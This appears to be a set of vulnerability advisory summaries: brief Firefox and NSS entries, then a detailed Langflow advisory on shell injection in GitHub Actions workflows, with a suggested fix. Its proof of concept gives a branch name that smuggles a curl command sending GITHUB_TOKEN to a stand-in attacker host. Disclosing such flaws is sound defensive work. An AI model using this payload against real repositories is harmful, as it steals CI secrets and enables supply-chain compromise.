| Information disclosure in the Widget: Cocoa component. This vulnerability affects Firefox < 149 and Firefox ESR < 140.9. |
| Incorrect boundary conditions in the Audio/Video component. This vulnerability affects Firefox < 149 and Firefox ESR < 140.9. |
| Uninitialized memory in the Graphics: Canvas2D component. This vulnerability affects Firefox < 149 and Firefox ESR < 140.9. |
| Incorrect boundary conditions, uninitialized memory in the JavaScript Engine component. This vulnerability affects Firefox < 149 and Firefox ESR < 140.9. |
| Incorrect boundary conditions in the Graphics: Text component. This vulnerability affects Firefox < 149 and Firefox ESR < 140.9. |
| Sandbox escape due to use-after-free in the Graphics: Canvas2D component. This vulnerability affects Firefox < 149. |
| Denial-of-service in the Libraries component in NSS. This vulnerability affects Firefox < 149. |
| Memory safety bugs present in Firefox 148 and Thunderbird 148. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 149. |
| Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
---
### Details
Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:
```yaml
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
```
Or:
```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```
Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.
---
### PoC
1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
```bash
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
```yaml
echo "Branch: ${{ github.head_ref }}"
```
Will execute:
```bash
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
6. The attacker receives the CI secret via the exfil URL.
---
### Impact
- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
---
### Suggested Fix
Refactor affected workflows to **use environment variables** and wrap them in **double quotes**:
```yaml
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
```
Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.
